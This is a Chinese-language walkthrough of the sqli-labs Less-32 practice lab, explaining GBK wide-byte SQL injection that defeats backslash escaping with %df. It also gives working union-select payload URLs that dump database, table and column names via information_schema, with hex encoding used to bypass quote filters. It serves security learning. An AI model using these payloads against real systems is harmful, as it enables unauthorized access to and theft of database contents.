宽字节注入-sql-lib

**

宽字节注入原理：

**

一、
原理：mysql 在使用 GBK 编码的时候，会认为两个字符为一个汉字，例如%aa%5c 就是一个汉字（前一个 ascii 码大于 128 才能到汉字的范围）。我们在过滤 ’ 的时候，往往利用的思路是将 ‘ 转换为 \’ 。因此我们在此想办法将 ’ 前面添加的 \ 除掉，一般有两种思路：
1、%df 吃掉 \ 具体的原因是 urlencode(’) = %5c%27，我们在%5c%27 前面添加%df，形成%df%5c%27，而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字，此事%df%5c 就是一个汉字，%27 则作为一个单独的符号在外面，同时也就达到了我们的目的。
2、将 \’ 中的 \ 过滤掉，例如可以构造 %**%5c%5c%27 的情况，后面的%5c 会被前面的%5c给注释掉。这也是 bypass 的一种方法
二、
接下来我们进行实战演练：
1.首先我们像往常一样输入参数并加一个‘，看一下是否回显报错。查看源码我们得知：函数为过滤 ‘ \ 的函数，将 ‘ 转为 \’ ， 将 \ 转为 \ ，将 “ 转为 \”。
2.http://127.0.0.1/sqli-labs-master/Less-32/?id=1�’ --+ 看到页面显示正常。
3.http://127.0.0.1/sqli-labs-master/Less-32/?id=1�’ order by 3 --+ order by 4时显示不正常。3时显示正常，证明有三个回显位置。
4.http://127.0.0.1/sqli-labs-master/Less-32/?id=-1�’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 爆出所有的数据库 注意在使用union联合查询的时候前面的1要变为-1，而且在爆出数据库的时候要使用group_concat(),因为我们在前面输入‘报错的时候可以看到报错语句后面出现了 limit 0，1.
5.爆出表
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1�’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
但是我们在爆出表的时候遇到了一些问题，我们在选择数据库的时候用的语句是table_schema=’'seurity"，显而易见本关已经过滤掉了“”所以我们用“”没有用，因此在这里我们可以将我们选择的数据库转换成十六进制的形式。进而绕过过滤函数。同时我们也可以将数据库的名字转变成database()。
6.爆出字段
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1�’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

7.爆出字段
至此，sql-lib32关到此结束。
（编码工具推荐小葵编码工具）